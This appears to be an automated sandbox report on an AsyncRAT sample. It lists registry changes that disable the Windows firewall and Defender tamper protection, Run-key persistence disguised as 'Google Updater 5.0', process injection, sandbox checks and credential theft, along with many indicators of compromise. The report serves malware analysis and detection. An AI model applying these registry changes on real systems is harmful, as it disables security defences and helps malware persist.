asyncrat | 390d7472201e8ea9bdc6c7fa2b4ab1f6faca02071f1f997037cc5f52759a9cb6

Modify Existing Service

T1031

Processes:

explorer.exe1yk35mc99y_1.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\EnableFirewall = "0"	explorer.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	1yk35mc99y_1.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	1yk35mc99y_1.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	1yk35mc99y_1.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\EnableFirewall = "0"	1yk35mc99y_1.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	explorer.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	explorer.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

regedit.exe

description ioc process

Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\ImagePath regedit.exe
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\ImagePath	regedit.exe

Async RAT payload 4 IoCs

rat

Processes:

resource	yara_rule
behavioral24/memory/4668-631-0x000000000040C76E-mapping.dmp	asyncrat
behavioral24/memory/4668-630-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral24/memory/4528-1161-0x000000000040C76E-mapping.dmp	asyncrat
behavioral24/memory/4172-1454-0x000000000040C76E-mapping.dmp	asyncrat

ModiLoader First Stage 3 IoCs

Processes:

resource	yara_rule
behavioral24/memory/4248-700-0x0000000004B30000-0x0000000004B8C000-memory.dmp	modiloader_stage1
behavioral24/memory/1832-1207-0x0000000002A60000-0x0000000002ABC000-memory.dmp	modiloader_stage1
behavioral24/memory/6768-1502-0x00000000041C0000-0x000000000421C000-memory.dmp	modiloader_stage1

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

24 4128 powershell.exe
27 4128 powershell.exe
29 4764 powershell.exe
31 4764 powershell.exe
33 4564 powershell.exe
35 4564 powershell.exe
Disables taskbar notifications via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

cmd.exe

description ioc process

File opened for modification C:\Windows\System32\drivers\etc\hosts cmd.exe

flow	pid	process
24	4128	powershell.exe
27	4128	powershell.exe
29	4764	powershell.exe
31	4764	powershell.exe
33	4564	powershell.exe
35	4564	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cmd.exe

Executes dropped EXE 64 IoCs

Processes:

key.exedata.datMicrosoft.VisualStudio.Package.LanguageService.11.0.exebb.exebb.exeputtty.exeereds.exeKeygen.exeepu.exeriu.exeFGbfttrev.exeFDvbcgfert.exeriu.exeeav.exeFGbfttrev.exeFDvbcgfert.exeFGbfttrev.exeFGbfttrev.exehNqShoEbww.exeff8snSa94T.exetC4JTtEJBE.exeotLMES6PVH.exe1yk35mc99y_1.exe1yk35mc99y_1.exehNqShoEbww.exetC4JTtEJBE.exetC4JTtEJBE.exeotLMES6PVH.exese44uy5j.exem1e313173.exek1o31iq1195.exeazchgftrq.exeepu.exeFGbfttrev.exeFDvbcgfert.exem1e313173.exeFGbfttrev.exeFDvbcgfert.exeQxPSDVcb8X.exed8FtANW6QA.exePLSkebaejl.exeO5BG8Rd3za.exeozchgftrq.exeazchgftrq.exeazchgftrq.exeQxPSDVcb8X.exePLSkebaejl.exeO5BG8Rd3za.exeO5BG8Rd3za.exeoias5uwc.exeazchgftrq.exek1o31iq1195.exeVIdTd3Tc9z.exepLeynHJpzs.exeYApQeKA3Xe.exe4VaD9fscp6.exeozchgftrq.exeVIdTd3Tc9z.exeYApQeKA3Xe.exeYApQeKA3Xe.exeYApQeKA3Xe.exe4VaD9fscp6.exeeozefxuz.exeozchgftrq.exe

pid	process
1008	key.exe
560	data.dat
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2476	bb.exe
3848	bb.exe
1336	puttty.exe
2684	ereds.exe
4340	Keygen.exe
5108	epu.exe
4348	riu.exe
4280	FGbfttrev.exe
4468	FDvbcgfert.exe
1940	riu.exe
4356	eav.exe
4276	FGbfttrev.exe
4492	FDvbcgfert.exe
4644	FGbfttrev.exe
4816	FGbfttrev.exe
4380	hNqShoEbww.exe
4248	ff8snSa94T.exe
4488	tC4JTtEJBE.exe
4428	otLMES6PVH.exe
4688	1yk35mc99y_1.exe
4068	1yk35mc99y_1.exe
4668	hNqShoEbww.exe
4060	tC4JTtEJBE.exe
4700	tC4JTtEJBE.exe
4932	otLMES6PVH.exe
4052	se44uy5j.exe
5200	m1e313173.exe
6012	k1o31iq1195.exe
5552	azchgftrq.exe
5000	epu.exe
5540	FGbfttrev.exe
5608	FDvbcgfert.exe
5116	m1e313173.exe
4552	FGbfttrev.exe
752	FDvbcgfert.exe
4416	QxPSDVcb8X.exe
1832	d8FtANW6QA.exe
4484	PLSkebaejl.exe
5456	O5BG8Rd3za.exe
5536	ozchgftrq.exe
4956	azchgftrq.exe
5136	azchgftrq.exe
4528	QxPSDVcb8X.exe
2800	PLSkebaejl.exe
4516	O5BG8Rd3za.exe
5516	O5BG8Rd3za.exe
4896	oias5uwc.exe
6848	azchgftrq.exe
6880	k1o31iq1195.exe
6972	VIdTd3Tc9z.exe
6768	pLeynHJpzs.exe
6280	YApQeKA3Xe.exe
5272	4VaD9fscp6.exe
3540	ozchgftrq.exe
4172	VIdTd3Tc9z.exe
5004	YApQeKA3Xe.exe
5104	YApQeKA3Xe.exe
6492	YApQeKA3Xe.exe
5128	4VaD9fscp6.exe
4708	eozefxuz.exe
6884	ozchgftrq.exe

Sets file execution options in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

explorer.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion explorer.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorer.exe

Loads dropped DLL 31 IoCs

Processes:

data.datriu.exeFDvbcgfert.exeepu.exeFDvbcgfert.exek1o31iq1195.exeozchgftrq.exeozchgftrq.exe

pid	process
560	data.dat
1940	riu.exe
4492	FDvbcgfert.exe
4492	FDvbcgfert.exe
4492	FDvbcgfert.exe
1940	riu.exe
1940	riu.exe
1940	riu.exe
1940	riu.exe
1940	riu.exe
5000	epu.exe
5000	epu.exe
5000	epu.exe
5000	epu.exe
5000	epu.exe
5000	epu.exe
752	FDvbcgfert.exe
752	FDvbcgfert.exe
752	FDvbcgfert.exe
6880	k1o31iq1195.exe
6880	k1o31iq1195.exe
6880	k1o31iq1195.exe
6880	k1o31iq1195.exe
6880	k1o31iq1195.exe
6880	k1o31iq1195.exe
3540	ozchgftrq.exe
3540	ozchgftrq.exe
3540	ozchgftrq.exe
7084	ozchgftrq.exe
7084	ozchgftrq.exe
7084	ozchgftrq.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 4 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

otLMES6PVH.exeO5BG8Rd3za.exe4VaD9fscp6.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	otLMES6PVH.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	otLMES6PVH.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	O5BG8Rd3za.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	4VaD9fscp6.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 17 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

data.datexplorer.exeregedit.execmd.exeff8snSa94T.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	data.dat
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Google Updater 5.0 = "\"C:\\ProgramData\\Google Updater 5.0\\1yk35mc99y.exe\""	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Google Updater 5.0 = "\"C:\\ProgramData\\Google Updater 5.0\\1yk35mc99y.exe\""	cmd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Google Updater 5.0 = "\"C:\\ProgramData\\Google Updater 5.0\\1yk35mc99y.exe\""	cmd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Google Updater 5.0 = "C:\\ProgramData\\Google Updater 5.0\\1yk35mc99y.exe"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Google Updater 5.0 = "\"C:\\ProgramData\\Google Updater 5.0\\1yk35mc99y.exe\""	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Zsle = "C:\\Users\\Admin\\AppData\\Local\\elsZ.url"	ff8snSa94T.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	data.dat
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Google Updater 5.0 = "\"C:\\ProgramData\\Google Updater 5.0\\1yk35mc99y.exe\""	data.dat
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Google Updater 5.0 = "\"C:\\ProgramData\\Google Updater 5.0\\1yk35mc99y.exe\""	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Google Updater 5.0 = "\"C:\\ProgramData\\Google Updater 5.0\\1yk35mc99y.exe\""	data.dat
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	cmd.exe

Checks for any installed AV software in registry 1 TTPs 2 IoCs

Security Software Discovery

T1063

Processes:

1yk35mc99y_1.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\AntiVirService	1yk35mc99y_1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\avast! Antivirus	1yk35mc99y_1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 20 IoCs

evasion trojan

System Information Discovery

Processes:

bb.execmd.exemshta.exeepu.exe1yk35mc99y_1.exehNqShoEbww.exeff8snSa94T.execmd.exeKeygen.exemshta.exeotLMES6PVH.exedata.datFDvbcgfert.exem1e313173.exek1o31iq1195.exeputtty.execmd.exekey.exemshta.exetC4JTtEJBE.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	bb.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cmd.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	epu.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1yk35mc99y_1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	hNqShoEbww.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ff8snSa94T.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cmd.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Keygen.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	otLMES6PVH.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	data.dat
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	FDvbcgfert.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	m1e313173.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	k1o31iq1195.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	puttty.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cmd.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	key.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	tC4JTtEJBE.exe

Drops desktop.ini file(s) 4 IoCs

Processes:

riu.exeexplorer.exeepu.exek1o31iq1195.exe

description	ioc	process
File created	C:\Users\Admin\AppData\LocalLow\n9h9r91h8fna789q\desktop.ini	riu.exe
File opened for modification	C:\ProgramData\Google Updater 5.0\desktop.ini	explorer.exe
File created	C:\Users\Admin\AppData\LocalLow\n9h9r91h8fna789q\desktop.ini	epu.exe
File created	C:\Users\Admin\AppData\LocalLow\n9h9r91h8fna789q\desktop.ini	k1o31iq1195.exe

Maps connected drives based on registry 3 TTPs 42 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

powershell.exehNqShoEbww.exedata.datcmd.exepowershell.execmd.exeotLMES6PVH.exeff8snSa94T.exeputtty.exem1e313173.exedw20.exeKeygen.exeFDvbcgfert.exeepu.exetC4JTtEJBE.exek1o31iq1195.exemshta.exekey.execmd.exepowershell.exemshta.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	hNqShoEbww.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	data.dat
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	otLMES6PVH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	ff8snSa94T.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	puttty.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	m1e313173.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	ff8snSa94T.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	m1e313173.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	Keygen.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	FDvbcgfert.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	epu.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	hNqShoEbww.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	tC4JTtEJBE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	k1o31iq1195.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	data.dat
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	powershell.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	mshta.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	tC4JTtEJBE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	key.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	key.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	otLMES6PVH.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	k1o31iq1195.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	mshta.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	epu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	puttty.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	FDvbcgfert.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	mshta.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	Keygen.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

Processes:

bb.exeexplorer.exedata.datputtty.exepowershell.exekey.execmd.exeKeygen.exepowershell.execmd.exeriu.exeFGbfttrev.exedw20.exeFDvbcgfert.exeFDvbcgfert.exepowershell.exeFGbfttrev.exemshta.exemshta.exeepu.exe

pid	process
3848	bb.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
560	data.dat
560	data.dat
560	data.dat
560	data.dat
1336	puttty.exe
1336	puttty.exe
1336	puttty.exe
1336	puttty.exe
1872	explorer.exe
1872	explorer.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
1008	key.exe
212	cmd.exe
4340	Keygen.exe
4564	powershell.exe
1008	key.exe
1008	key.exe
212	cmd.exe
1008	key.exe
212	cmd.exe
212	cmd.exe
4288	cmd.exe
4340	Keygen.exe
4340	Keygen.exe
4340	Keygen.exe
4564	powershell.exe
4564	powershell.exe
4564	powershell.exe
1940	riu.exe
1940	riu.exe
4276	FGbfttrev.exe
4276	FGbfttrev.exe
1548	dw20.exe
1548	dw20.exe
1548	dw20.exe
1548	dw20.exe
4468	FDvbcgfert.exe
4468	FDvbcgfert.exe
4468	FDvbcgfert.exe
4468	FDvbcgfert.exe
4492	FDvbcgfert.exe
4492	FDvbcgfert.exe
2344	powershell.exe
2344	powershell.exe
2344	powershell.exe
2344	powershell.exe
4816	FGbfttrev.exe
4816	FGbfttrev.exe
4440	mshta.exe
4412	mshta.exe
5108	epu.exe
5108	epu.exe
5108	epu.exe
5108	epu.exe

Suspicious use of SetThreadContext 27 IoCs

Processes:

bb.exeriu.exeFGbfttrev.exeFDvbcgfert.exeFGbfttrev.exe1yk35mc99y_1.exehNqShoEbww.exetC4JTtEJBE.exeotLMES6PVH.exeepu.exeff8snSa94T.exem1e313173.exeFGbfttrev.exeFDvbcgfert.exeazchgftrq.exeQxPSDVcb8X.exePLSkebaejl.exeO5BG8Rd3za.exed8FtANW6QA.exek1o31iq1195.exeozchgftrq.exeVIdTd3Tc9z.exeYApQeKA3Xe.exe4VaD9fscp6.exeazchgftrq.exepLeynHJpzs.exeozchgftrq.exe

description	pid	process	target process
PID 2476 set thread context of 3848	2476	bb.exe	bb.exe
PID 4348 set thread context of 1940	4348	riu.exe	riu.exe
PID 4280 set thread context of 4276	4280	FGbfttrev.exe	FGbfttrev.exe
PID 4468 set thread context of 4492	4468	FDvbcgfert.exe	FDvbcgfert.exe
PID 4644 set thread context of 4816	4644	FGbfttrev.exe	FGbfttrev.exe
PID 4688 set thread context of 4068	4688	1yk35mc99y_1.exe	1yk35mc99y_1.exe
PID 4380 set thread context of 4668	4380	hNqShoEbww.exe	hNqShoEbww.exe
PID 4488 set thread context of 4700	4488	tC4JTtEJBE.exe	tC4JTtEJBE.exe
PID 4428 set thread context of 4932	4428	otLMES6PVH.exe	otLMES6PVH.exe
PID 5108 set thread context of 5000	5108	epu.exe	epu.exe
PID 4248 set thread context of 5768	4248	ff8snSa94T.exe	ieinstal.exe
PID 5200 set thread context of 5116	5200	m1e313173.exe	m1e313173.exe
PID 5540 set thread context of 4552	5540	FGbfttrev.exe	FGbfttrev.exe
PID 5608 set thread context of 752	5608	FDvbcgfert.exe	FDvbcgfert.exe
PID 5552 set thread context of 5136	5552	azchgftrq.exe	azchgftrq.exe
PID 4416 set thread context of 4528	4416	QxPSDVcb8X.exe	QxPSDVcb8X.exe
PID 4484 set thread context of 2800	4484	PLSkebaejl.exe	PLSkebaejl.exe
PID 5456 set thread context of 5516	5456	O5BG8Rd3za.exe	O5BG8Rd3za.exe
PID 1832 set thread context of 6644	1832	d8FtANW6QA.exe	ieinstal.exe
PID 6012 set thread context of 6880	6012	k1o31iq1195.exe	k1o31iq1195.exe
PID 5536 set thread context of 3540	5536	ozchgftrq.exe	ozchgftrq.exe
PID 6972 set thread context of 4172	6972	VIdTd3Tc9z.exe	VIdTd3Tc9z.exe
PID 6280 set thread context of 6492	6280	YApQeKA3Xe.exe	YApQeKA3Xe.exe
PID 5272 set thread context of 5128	5272	4VaD9fscp6.exe	4VaD9fscp6.exe
PID 6848 set thread context of 1708	6848	azchgftrq.exe	azchgftrq.exe
PID 6768 set thread context of 6692	6768	pLeynHJpzs.exe	ieinstal.exe
PID 6884 set thread context of 7084	6884	ozchgftrq.exe	ozchgftrq.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

explorer.exe1yk35mc99y_1.exebb.exeFDvbcgfert.exeFDvbcgfert.exeozchgftrq.exeozchgftrq.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	explorer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	1yk35mc99y_1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	1yk35mc99y_1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	bb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	bb.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FDvbcgfert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FDvbcgfert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ozchgftrq.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ozchgftrq.exe

Delays execution with timeout.exe 9 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid process

1604 timeout.exe
3024 timeout.exe
4464 timeout.exe
2680 timeout.exe
2812 timeout.exe
5036 timeout.exe
5260 timeout.exe
5772 timeout.exe
3980 timeout.exe

pid	process
1604	timeout.exe
3024	timeout.exe
4464	timeout.exe
2680	timeout.exe
2812	timeout.exe
5036	timeout.exe
5260	timeout.exe
5772	timeout.exe
3980	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

explorer.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	explorer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	explorer.exe

Kills process with taskkill 7 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

5400 taskkill.exe
4848 taskkill.exe
6212 taskkill.exe
4728 taskkill.exe
4964 taskkill.exe
4828 taskkill.exe
5404 taskkill.exe

pid	process
5400	taskkill.exe
4848	taskkill.exe
6212	taskkill.exe
4728	taskkill.exe
4964	taskkill.exe
4828	taskkill.exe
5404	taskkill.exe

Modifies Internet Explorer Protected Mode 1 TTPs 4 IoCs

Modify Registry

Processes:

explorer.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	explorer.exe
